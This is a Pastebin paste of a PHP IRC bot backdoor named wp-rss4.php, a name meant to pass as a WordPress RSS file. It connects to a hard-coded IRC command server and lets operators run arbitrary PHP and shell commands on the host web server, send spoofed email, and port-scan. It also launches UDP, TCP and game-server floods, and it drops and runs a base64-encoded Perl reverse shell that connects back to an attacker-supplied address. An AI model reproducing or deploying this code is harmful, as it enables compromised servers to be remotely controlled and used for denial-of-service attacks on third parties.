Advertisement
_tl_

wp-rss4.php

Feb 1st, 2012
369
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 15.55 KB | None | 0 0
  1. <?
  2.  
  3.  
  4.  
  5. set_time_limit(0);
  6. error_reporting(0);
  7. echo "ok!";
  8.  
  9. class pBot
  10. {
  11. var $config = array("server"=>"antesedepois.servegame.com",
  12.                      "port"=>20,
  13.                      "pass"=>"depois",
  14.                      "prefix"=>"depois",
  15.                      "maxrand"=>8,
  16.                      "chan"=>"#depoiswp",
  17.                      "key"=>"",
  18.                      "modes"=>"+iB-x",
  19.                      "password"=>"depois",
  20.                      "trigger"=>".",
  21.                      "hostauth"=>"*" // * for any hostname
  22.                      );
  23.  var $users = array();
  24.  function start()
  25.  {
  26.     if(!($this->conn = fsockopen($this->config['server'],$this->config['port'],$e,$s,30)))
  27.        $this->start();
  28.     $ident = $this->config['prefix'];
  29.     $alph = range("0","9");
  30.     for($i=0;$i<$this->config['maxrand'];$i++)
  31.        $ident .= $alph[rand(0,9)];
  32.     if(strlen($this->config['pass'])>0)
  33.        $this->send("PASS ".$this->config['pass']);
  34.     $this->send("USER ".$ident." 127.0.0.1 localhost :".php_uname()."");
  35.     $this->set_nick();
  36.     $this->main();
  37.  }
  38.  function main()
  39.  {
  40.     while(!feof($this->conn))
  41.     {
  42.        $this->buf = trim(fgets($this->conn,512));
  43.        $cmd = explode(" ",$this->buf);
  44.        if(substr($this->buf,0,6)=="PING :")
  45.        {
  46.           $this->send("PONG :".substr($this->buf,6));
  47.        }
  48.        if(isset($cmd[1]) && $cmd[1] =="001")
  49.        {
  50.           $this->send("MODE ".$this->nick." ".$this->config['modes']);
  51.           $this->join($this->config['chan'],$this->config['key']);
  52.           if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") { $safemode = "on"; }
  53.           else { $safemode = "off"; }
  54.           $uname = php_uname();
  55.        }
  56.        if(isset($cmd[1]) && $cmd[1]=="433")
  57.        {
  58.           $this->set_nick();
  59.        }
  60.        if($this->buf != $old_buf)
  61.        {
  62.           $mcmd = array();
  63.           $msg = substr(strstr($this->buf," :"),2);
  64.           $msgcmd = explode(" ",$msg);
  65.           $nick = explode("!",$cmd[0]);
  66.           $vhost = explode("@",$nick[1]);
  67.           $vhost = $vhost[1];
  68.           $nick = substr($nick[0],1);
  69.           $host = $cmd[0];
  70.           if($msgcmd[0]==$this->nick)
  71.           {
  72.            for($i=0;$i<count($msgcmd);$i++)
  73.               $mcmd[$i] = $msgcmd[$i+1];
  74.           }
  75.           else
  76.           {
  77.            for($i=0;$i<count($msgcmd);$i++)
  78.               $mcmd[$i] = $msgcmd[$i];
  79.           }
  80.           if(count($cmd)>2)
  81.           {
  82.              switch($cmd[1])
  83.              {
  84.                 case "QUIT":
  85.                    if($this->is_logged_in($host))
  86.                    {
  87.                       $this->log_out($host);
  88.                    }
  89.                 break;
  90.                 case "PART":
  91.                    if($this->is_logged_in($host))
  92.                    {
  93.                       $this->log_out($host);
  94.                    }
  95.                 break;
  96.                 case "PRIVMSG":
  97.                    if(!$this->is_logged_in($host) && ($vhost == $this->config['hostauth'] || $this->config['hostauth'] == "*"))
  98.                    {
  99.                       if(substr($mcmd[0],0,1)==".")
  100.                       {
  101.                          switch(substr($mcmd[0],1))
  102.                          {
  103.                             case "user":
  104.                               if($mcmd[1]==$this->config['password'] && ($nick == depois || $nick == antes || $nick == codeblack || $nick == segredo ) )
  105.                               {
  106.                                  $this->log_in($host);
  107.                               }
  108.                               else
  109.                               {
  110.                                  $this->notice($this->config['chan'],"[\2Auth\2]: Senha errada tente novamente $nick Grupo Hacking!!");
  111.                               }
  112.                             break;
  113.                          }
  114.                       }
  115.                    }
  116.                    elseif($this->is_logged_in($host))
  117.                    {
  118.                       if(substr($mcmd[0],0,1)==".")
  119.                       {
  120.                          switch(substr($mcmd[0],1))
  121.                          {
  122.                             case "restart":
  123.                                $this->send("QUIT :restart commando from $nick");
  124.                                fclose($this->conn);
  125.                                $this->start();
  126.                             break;
  127.                             case "mail": //mail to from subject message
  128.                                if(count($mcmd)>4)
  129.                                {
  130.                                   $header = "From: <".$mcmd[2].">";
  131.                                   if(!mail($mcmd[1],$mcmd[3],strstr($msg,$mcmd[4]),$header))
  132.                                   {
  133.                                      $this->privmsg($this->config['chan'],"[\2mail\2]: Impossivel mandar e-mail.");
  134.                                   }
  135.                                   else
  136.                                   {
  137.                                      $this->privmsg($this->config['chan'],"[\2mail\2]: Mensagem enviada para \2".$mcmd[1]."\2");
  138.                                   }
  139.                                }
  140.                             break;
  141.                             case "conback":
  142.                                if(count($mcmd)>2)
  143.                                {
  144.                                   $this->conback($mcmd[1],$mcmd[2]);
  145.                                }
  146.                             break;
  147.                             case "dns":
  148.                                if(isset($mcmd[1]))
  149.                                {
  150.                                   $ip = explode(".",$mcmd[1]);
  151.                                   if(count($ip)==4 && is_numeric($ip[0]) && is_numeric($ip[1]) && is_numeric($ip[2]) && is_numeric($ip[3]))
  152.                                   {
  153.                                      $this->privmsg($this->config['chan'],"[\2dns\2]: ".$mcmd[1]." => ".gethostbyaddr($mcmd[1]));
  154.                                   }
  155.                                   else
  156.                                   {
  157.                                      $this->privmsg($this->config['chan'],"[\2dns\2]: ".$mcmd[1]." => ".gethostbyname($mcmd[1]));
  158.                                   }
  159.                                }
  160.                             break;
  161.                             case "bot":
  162.                                $this->privmsg($this->config['chan'],"[\2bot\2]: phpbot 2.0 by; #crew@corp.");
  163.                             break;
  164.                             case "rndnick":
  165.                                $this->set_nick();
  166.                             break;
  167.                             case "raw":
  168.                                $this->send(strstr($msg,$mcmd[1]));
  169.                             break;
  170.                             case "eval":
  171.                               $eval = eval(substr(strstr($msg,$mcmd[1]),strlen($mcmd[1])));
  172.                             break;
  173.                             case "sexec":
  174.                                $command = substr(strstr($msg,$mcmd[0]),strlen($mcmd[0])+1);
  175.                                $exec = shell_exec($command);
  176.                                $ret = explode("\n",$exec);
  177.                                for($i=0;$i<count($ret);$i++)
  178.                                   if($ret[$i]!=NULL)
  179.                                      $this->privmsg($this->config['chan'],"      : ".trim($ret[$i]));
  180.                             break;
  181.  
  182.  
  183.                             case "popen":
  184.                                if(isset($mcmd[1]))
  185.                                {
  186.                                   $command = substr(strstr($msg,$mcmd[0]),strlen($mcmd[0])+1);
  187.                                   $this->privmsg($this->config['chan'],"[\2popen\2]: $command");
  188.                                   $pipe = popen($command,"r");
  189.                                   while(!feof($pipe))
  190.                                   {
  191.                                      $pbuf = trim(fgets($pipe,512));
  192.                                      if($pbuf != NULL)
  193.                                         $this->privmsg($this->config['chan'],"     : $pbuf");
  194.                                   }
  195.                                   pclose($pipe);
  196.                                }  
  197.                
  198.  
  199.  
  200.  
  201.                             case "pscan": // .pscan 127.0.0.1 6667
  202.                                if(count($mcmd) > 2)
  203.                                {
  204.                                   if(fsockopen($mcmd[1],$mcmd[2],$e,$s,15))
  205.                                      $this->privmsg($this->config['chan'],"[\2pscan\2]: ".$mcmd[1].":".$mcmd[2]." is \2open\2");
  206.                                   else
  207.                                      $this->privmsg($this->config['chan'],"[\2pscan\2]: ".$mcmd[1].":".$mcmd[2]." is \2closed\2");
  208.                                }
  209.                             case "die":
  210.                                $this->send("QUIT :die command from $nick");
  211.                                fclose($this->conn);
  212.                                exit;
  213.                             case "logout":
  214.                                $this->log_out($host);
  215.                                $this->privmsg($this->config['chan'],"[\2auth\2]: $nick deslogado!");
  216.                             break;
  217.                             case "udpflood":
  218.                                if(count($mcmd)>3)
  219.                                {
  220.                                   $this->udpflood($mcmd[1],$mcmd[2],$mcmd[3]);
  221.                                }
  222.                             break;
  223.                             case "udpgta":
  224.                                if(count($mcmd)>3)
  225.                                {
  226.                                   $this->udpfloodgta($mcmd[1],$mcmd[2],$mcmd[3]);
  227.                                }
  228.                             break;
  229.                             case "tcpflood":
  230.                                if(count($mcmd)>5)
  231.                                {
  232.                                   $this->tcpflood($mcmd[1],$mcmd[2],$mcmd[3],$mcmd[4],$mcmd[5]);
  233.                                }
  234.                             break;
  235.                          }
  236.                       }
  237.                    }
  238.                 break;
  239.              }
  240.           }
  241.        }
  242.        $old_buf = $this->buf;
  243.     }
  244.     $this->start();
  245.  }
  246.  function send($msg)
  247.  {
  248.     fwrite($this->conn,"$msg\r\n");
  249.  
  250.  }
  251.  function join($chan,$key=NULL)
  252.  {
  253.     $this->send("JOIN $chan $key");
  254.  }
  255.  function privmsg($to,$msg)
  256.  {
  257.     $this->send("PRIVMSG $to :$msg");
  258.  }
  259.  function notice($to,$msg)
  260.  {
  261.     $this->send("NOTICE $to :$msg");
  262.  }
  263.  function is_logged_in($host)
  264.  {
  265.     if(isset($this->users[$host]))
  266.        return 1;
  267.     else
  268.        return 0;
  269.  }
  270.  function log_in($host)
  271.  {
  272.     $this->users[$host] = true;
  273.  }
  274.  function log_out($host)
  275.  {
  276.     unset($this->users[$host]);
  277.  }
  278.  function set_nick()
  279.  {
  280.     if(isset($_SERVER['SERVER_SOFTWARE']))
  281.     {
  282.        if(strstr(strtolower($_SERVER['SERVER_SOFTWARE']),"apache"))
  283.           $this->nick = "[A]";
  284.        elseif(strstr(strtolower($_SERVER['SERVER_SOFTWARE']),"iis"))
  285.           $this->nick = "[I]";
  286.        elseif(strstr(strtolower($_SERVER['SERVER_SOFTWARE']),"xitami"))
  287.           $this->nick = "[X]";
  288.        else
  289.           $this->nick = "[U]";
  290.     }
  291.     else
  292.     {
  293.        $this->nick = "[C]";
  294.     }
  295.     $this->nick .= $this->config['prefix'];
  296.     for($i=0;$i<$this->config['maxrand'];$i++)
  297.        $this->nick .= mt_rand(0,9);
  298.     $this->send("NICK ".$this->nick);
  299.  }
  300.   function udpflood($host,$packetsize,$time) {
  301.     $this->privmsg($this->config['chan'],"[\2Attack Iniciado com sucesso!\2]");
  302.     $packet = "";
  303.     for($i=0;$i<$packetsize;$i++) { $packet .= chr(mt_rand(1,256)); }
  304.     $timei = time();
  305.     $i = 0;
  306.     while(time()-$timei < $time) {
  307.         $fp=fsockopen("udp://".$host,mt_rand(0,6000),$e,$s,5);
  308.         fwrite($fp,$packet);
  309.         fclose($fp);
  310.         $i++;
  311.     }
  312.     $env = $i * $packetsize;
  313.     $env = $env / 1048576;
  314.     $vel = $env / $time;
  315.     $vel = round($vel);
  316.     $env = round($env);
  317.     $this->privmsg($this->config['chan'],"[\2Attack Finalizado!\2]: $env MB enviados / Pacotes enviados: $vel MB/s ");
  318. }
  319.  
  320. function udpfloodgta($host,$packetsize,$time) {
  321.     $this->privmsg($this->config['chan'],"[\2Attack SA-MP Iniciado!\2]");
  322.     $packet = "";
  323.     for($i=0;$i<$packetsize;$i++) { $packet .= chr(mt_rand(1,256)); }
  324.     $timei = time();
  325.     $i = 0;
  326.     while(time()-$timei < $time) {
  327.         $fp=fsockopen("udp://".$host,7777,$e,$s,5);
  328.         fwrite($fp,$packet);
  329.         fclose($fp);
  330.         $i++;
  331.     }
  332.     $env = $i * $packetsize;
  333.     $env = $env / 1048576;
  334.     $vel = $env / $time;
  335.     $vel = round($vel);
  336.     $env = round($env);
  337.     $this->privmsg($this->config['chan'],"[\2Attack Finalizado!\2]: $env MB enviados / Pacotes enviados: $vel MB/s ");
  338. }
  339.  
  340.  
  341.  function tcpflood($host,$packets,$packetsize,$port,$delay)
  342.  {
  343.     $this->privmsg($this->config['chan'],"[\2TcpFlood Started!\2]");
  344.     $packet = "";
  345.     for($i=0;$i<$packetsize;$i++)
  346.        $packet .= chr(mt_rand(1,256));
  347.     for($i=0;$i<$packets;$i++)
  348.     {
  349.        if(!$fp=fsockopen("tcp://".$host,$port,$e,$s,5))
  350.        {
  351.           $this->privmsg($this->config['chan'],"[\2TcpFlood\2]: Error: <$e>");
  352.           return 0;
  353.        }
  354.        else
  355.        {
  356.           fwrite($fp,$packet);
  357.           fclose($fp);
  358.        }
  359.        sleep($delay);
  360.     }
  361.     $this->privmsg($this->config['chan'],"[\2TcpFlood Finished!\2]: Config - $packets pacotes para $host:$port.");
  362.  }
  363.  function conback($ip,$port)
  364.  {
  365.     $this->privmsg($this->config['chan'],"[\2conback\2]: tentando conectando a $ip:$port");
  366.     $dc_source = "IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KcHJpbnQgIkRhdGEgQ2hhMHMgQ29ubmVjdCBCYWNrIEJhY2tkb29yXG5cbiI7DQppZiAoISRBUkdWWzBdKSB7DQogIHByaW50ZiAiVXNhZ2U6ICQwIFtIb3N0XSA8UG9ydD5cbiI7DQogIGV4aXQoMSk7DQp9DQpwcmludCAiWypdIER1bXBpbmcgQXJndW1lbnRzXG4iOw0KJGhvc3QgPSAkQVJHVlswXTsNCiRwb3J0ID0gODA7DQppZiAoJEFSR1ZbMV0pIHsNCiAgJHBvcnQgPSAkQVJHVlsxXTsNCn0NCnByaW50ICJbKl0gQ29ubmVjdGluZy4uLlxuIjsNCiRwcm90byA9IGdldHByb3RvYnluYW1lKCd0Y3AnKSB8fCBkaWUoIlVua25vd24gUHJvdG9jb2xcbiIpOw0Kc29ja2V0KFNFUlZFUiwgUEZfSU5FVCwgU09DS19TVFJFQU0sICRwcm90bykgfHwgZGllICgiU29ja2V0IEVycm9yXG4iKTsNCm15ICR0YXJnZXQgPSBpbmV0X2F0b24oJGhvc3QpOw0KaWYgKCFjb25uZWN0KFNFUlZFUiwgcGFjayAiU25BNHg4IiwgMiwgJHBvcnQsICR0YXJnZXQpKSB7DQogIGRpZSgiVW5hYmxlIHRvIENvbm5lY3RcbiIpOw0KfQ0KcHJpbnQgIlsqXSBTcGF3bmluZyBTaGVsbFxuIjsNCmlmICghZm9yayggKSkgew0KICBvcGVuKFNURElOLCI+JlNFUlZFUiIpOw0KICBvcGVuKFNURE9VVCwiPiZTRVJWRVIiKTsNCiAgb3BlbihTVERFUlIsIj4mU0VSVkVSIik7DQogIGV4ZWMgeycvYmluL3NoJ30gJy1iYXNoJyAuICJcMCIgeCA0Ow0KICBleGl0KDApOw0KfQ0KcHJpbnQgIlsqXSBEYXRhY2hlZFxuXG4iOw==";
  367.     if (is_writable("/tmp"))
  368.     {
  369.       if (file_exists("/tmp/dc.pl")) { unlink("/tmp/dc.pl"); }
  370.       $fp=fopen("/tmp/dc.pl","w");
  371.       fwrite($fp,base64_decode($dc_source));
  372.       passthru("perl /tmp/dc.pl $ip $port &");
  373.       unlink("/tmp/dc.pl");
  374.     }
  375.     else
  376.     {
  377.     if (is_writable("/var/tmp"))
  378.     {
  379.       if (file_exists("/var/tmp/dc.pl")) { unlink("/var/tmp/dc.pl"); }
  380.       $fp=fopen("/var/tmp/dc.pl","w");
  381.       fwrite($fp,base64_decode($dc_source));
  382.       passthru("perl /var/tmp/dc.pl $ip $port &");
  383.       unlink("/var/tmp/dc.pl");
  384.     }
  385.     if (is_writable("."))
  386.     {
  387.       if (file_exists("dc.pl")) { unlink("dc.pl"); }
  388.       $fp=fopen("dc.pl","w");
  389.       fwrite($fp,base64_decode($dc_source));
  390.       passthru("perl dc.pl $ip $port &");
  391.       unlink("dc.pl");
  392.     }
  393.     }
  394.   }
  395. }
  396.  
  397. $bot = new pBot;
  398. $bot->start();
  399.  
  400. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement